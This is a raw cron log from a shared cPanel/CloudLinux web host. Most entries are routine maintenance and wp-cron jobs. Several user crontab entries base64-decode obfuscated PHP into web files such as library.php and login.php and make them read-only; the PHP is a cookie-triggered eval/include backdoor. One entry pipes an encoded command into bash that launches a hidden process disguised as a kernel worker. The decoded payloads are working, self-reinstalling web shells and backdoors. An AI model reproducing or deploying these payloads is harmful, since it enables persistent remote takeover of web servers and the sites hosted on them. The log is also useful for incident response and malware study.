nptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:59:01 medusa CROND[23653]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:59:01 medusa CROND[23654]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:59:01 medusa CROND[23655]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:59:01 medusa CROND[23656]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:59:01 medusa CROND[23658]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:59:01 medusa CROND[23659]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:59:01 medusa CROND[23660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:59:01 medusa CROND[23668]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:59:01 medusa CROND[23669]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:00:01 medusa CROND[16267]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 13:00:01 medusa CROND[16309]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 13:00:01 medusa CROND[16314]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 13:00:02 medusa CROND[16482]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:00:02 medusa CROND[16479]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 13:00:02 medusa CROND[16483]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:00:02 medusa CROND[16480]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 13:00:02 medusa CROND[16481]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 13:00:02 medusa CROND[16487]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 13:00:02 medusa CROND[16490]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:00:02 medusa CROND[16489]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 13:00:02 medusa CROND[16491]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:00:02 medusa CROND[16492]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:00:02 medusa CROND[16494]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:00:02 medusa CROND[16485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:00:02 medusa CROND[16496]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 13:00:02 medusa CROND[16499]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:00:02 medusa CROND[16503]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 13:00:02 medusa CROND[16498]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 13:00:02 medusa CROND[16502]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 13:00:02 medusa CROND[16505]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 13:00:02 medusa CROND[16507]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  1 13:00:02 medusa CROND[16501]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 13:00:02 medusa CROND[16488]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 13:00:02 medusa CROND[16486]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 13:00:02 medusa CROND[16524]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:00:02 medusa CROND[16484]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 13:00:02 medusa CROND[16526]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 13:00:02 medusa CROND[16517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:00:02 medusa CROND[16529]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 13:00:02 medusa CROND[16530]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 13:00:02 medusa CROND[16516]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 13:00:02 medusa CROND[16539]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:00:02 medusa CROND[16536]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 13:00:02 medusa CROND[16544]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 13:00:02 medusa CROND[16535]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 13:00:02 medusa CROND[16560]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:00:02 medusa CROND[16563]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 13:01:01 medusa CROND[8794]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 13:01:01 medusa CROND[8831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:01:01 medusa run-parts(/etc/cron.hourly)[8794]: starting 0anacron
Mar  1 13:01:02 medusa CROND[8910]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 13:01:02 medusa CROND[8909]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:01:02 medusa CROND[8911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
